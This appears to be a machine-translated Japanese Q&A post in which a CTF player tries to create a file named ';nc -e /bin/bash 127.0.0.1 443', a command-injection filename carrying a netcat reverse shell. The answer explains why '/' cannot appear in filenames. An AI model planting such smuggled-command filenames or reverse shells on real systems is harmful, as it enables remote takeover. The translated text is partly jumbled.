CTFでプレイしていて、touchコマンドを使用して名前付きファイルを作成したいが;nc -e /bin/bash 127.0.0.1 443
失敗します。
問題なくというファイルを作成し、次;nc -e 127.0.0.1 443
の内容を作成できます。touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3
/bin/bash
touch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3
touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory
私は何が間違っていましたか?
ベストアンサー1
Unixのファイル名は/
パス区切り文字なので、この文字を含めることはできません。
パス名
;nc -e /bin/bash 127.0.0.1 443
bash 127.0.0.1 443
bin
のサブディレクトリであるディレクトリから呼び出されたファイルを参照します;nc -e
(末尾にスペースがあります)。
この/
文字は、Unixファイル名には許可されていない2つの文字のうちの1つです。もう1つはNULL文字(ASCII 0または\0
)です。 nul 文字は文字列終端文字なので、ファイル名には許可されません。
また、必須シンボルをエスケープするよりも複雑なファイル名を一重引用符で囲む方が簡単です。
touch ';nc -e 127.0.0.1 443'